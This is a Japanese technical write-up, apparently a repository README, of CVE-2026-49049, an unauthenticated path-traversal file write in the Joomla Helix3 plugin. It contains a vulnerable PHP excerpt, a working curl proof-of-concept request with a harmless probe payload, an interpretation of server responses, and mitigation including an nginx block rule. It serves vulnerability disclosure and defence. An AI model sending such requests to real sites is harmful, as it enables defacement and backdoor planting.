
CVE-2026-49049の技術的分析と概念実証(PoC)——Joomla用JoomShaper Helix3における認証なし任意ファイル書き込み脆弱性で、悪用ベクトルと緩和ガイダンスを含む。
このリポジトリには、CMS Joomla 用のレガシーテンプレートフレームワーク JoomShaper Helix3(バージョン 1.0 から 3.1.0 まで)で発見された重大な脆弱性 CVE-2026-49049 に関する資料、技術分析、概念実証 (PoC) が含まれています。
この脆弱性は、自動化されたボットネット(特に AntonKill 改ざんキャンペーンの一環として)によって実際に活発に悪用されています。
問題は、Joomla のシステム AJAX ハンドラ (com_ajax) がプラグイン plg_ajax_helix3 のメソッド onAjaxHelix3() を呼び出すことにあります。コンポーネントの開発者は以下を考慮していませんでした:
layoutName パラメータ処理時のパスフィルタリング(パストラバーサル検証)public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
脆弱性の検証には、コンテンツタイプ application/x-www-form-urlencoded の POST リクエストが使用されます。このパラメータのパッケージ化方法は、脆弱性のデモンストレーションに最も効果的です。
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
侵入テストを実施する際、サーバーは異なるタイプの応答を返す可能性があります。それらの解釈は非常に重要です:
サーバー応答:
{"success":true,"message":null,"messages":null,"data":[]}
解釈: プラグインは脆弱であり、OS の制限はありません。ファイルはサイトルートに正常に作成され、https://target.com でアクセス可能です。サイトは直ちにクリーンアップと隔離が必要です。
サーバー応答:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
解釈: 部分的な成功。 Helix3 プラグインのロジックは破られており、認証なしでデータを受け入れ、ファイルを書き込み用に開こうとしました(fopen)。しかし、Linux OS がこのアクションをブロックしました。これは、ウェブサーバーユーザー(例:www-data)にサイトルートへの書き込み権限がないためです。
サーバー応答: ステータス 404 Not Found、403 Forbidden、または空の応答 []。
解釈: プラグインが安全なバージョン(3.1.1+)に更新されて認証チェックが追加されているか、CMS から完全に削除されています。
plg_ajax_helix3 を完全に削除してください。if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
免責事項: この資料は教育目的および正当なシステムセキュリティ監査(ペネトレーションテスト)のためにのみ提供されています。著者は提供された情報の不正使用について一切の責任を負いません。
| パラメータ | 値 / 例 | サーバーにとっての意味 |
|---|
option | com_ajax | Joomla で AJAX リクエストを処理するためのエントリポイント。 |
plugin | helix3 | Joomla に脆弱な Helix3 プラグインへ制御を渡させるシステム識別子。 |
format | json | エンジンに JSON 形式で応答を返すように指示します。 |
-d | data[...] | リクエストボディ (フォームデータ)。PHP によって自動的にグローバル配列 $_POST として解釈されます。 |
data[action] | save | コード内の switch セレクタ。プラグインにファイル書き込み(作成) 関数を呼び出すよう指示します。 |
data[layoutName] | ../../../../../../../example | 主要な攻撃ベクトル (パストラバーサル)。../ は OS にプラグインの隔離フォルダからサイトルートディレクトリへ移動させます。拡張子 .json はプラグインが自動的に追加します。 |
data[content] | {"probe":"test"} | ペイロード。作成されたファイル example.json に物理的に書き込まれるテキストデータ。実際の攻撃では、改ざんコードやバックドアがここに埋め込まれます。 |